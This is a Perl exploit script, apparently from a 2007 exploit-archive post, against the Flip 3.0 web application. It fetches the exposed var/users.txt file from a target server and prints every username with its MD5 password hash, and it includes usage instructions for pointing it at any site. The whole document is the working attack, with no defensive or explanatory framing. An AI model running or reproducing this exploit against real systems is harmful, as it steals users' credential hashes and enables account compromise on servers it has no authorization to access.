flip30-pass.txt
Posted on 20 September 2007
#!/usr/bin/perl use strict; use IO::Socket; my $app = "Flip <= 3.0"; my $type = "Passwords Hash Disclosure"; my $author = "undefined1_"; my $vendor = "http://sourceforge.net/projects/flipsource"; banner(); my $server = shift || usage(); my $port = shift || usage(); if($server =~ /http:///) { $server = substr($server,7); } my $path = "/"; if(index($server, "/") != -1) { $path = substr($server, index($server, "/")); $server = substr($server, 0, index($server, "/")); if(substr($path, length($path)-1) ne "/") { $path .= "/"; } } my $data = get($server, $port, $path."var/users.txt", ""); fail() unless $data !~ /404 Not Found/; my $index1 = index($data, " "); fail() unless $index1 >= 0; $data = substr($data, $index1+4); $index1 = 0; printf ("%-20s %-32s ", "username", "md5 hash"); while(($index1 = index($data, " ")) >= 0) { my $hash = substr($data, 0, 32); my $index2 = index($data, "]["); my $index3 = index($data, "][", $index2+2); my $user = ""; if($index2 >= 0 && $index3 >= 0) { $user = substr($data, $index2+2, $index3-($index2+2)); } printf ("%-20s %-32s ", $user, $hash); $data = substr($data, $index1+1); } ################### sub get($,$,$,$) { my $server = shift; my $port = shift; my $page = shift; my $cookies = shift; my $query = "GET $page HTTP/1.1 "; if($port != 80) { $query .= "Host: $server:$port "; } else { $query .= "Host: $server "; } $query .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 "; $query .= "Connection: close "; $query .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 "; $query .= "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 "; $query .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 "; if(length($cookies)) { $query .= "Cookie: ".$cookies." "; } $query .= " "; return sendpacket($server, $port, $query); } sub sendpacket($,$,$) { my $server = shift; my $port = shift; my $query = shift; my $sock = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $server, PeerPort => $port) or die "[-] Could not connect to $server:$port $! "; print $sock $query; my $data = ""; my $answer; while($answer = <$sock>) { $data .= $answer; } close($sock); return $data; } ################### sub fail() { print "[-] exploit failed "; exit; } sub banner() { print ":: Flip <= 3.0 password hash disclosure exploit "; print ":: by undefined1_ @ www.undef1.com "; } sub usage() { print "usage : ./flip_pass.pl <target> <port> "; print "example: ./flip_pass.pl www.abcd.com/flip/ 80 "; exit; }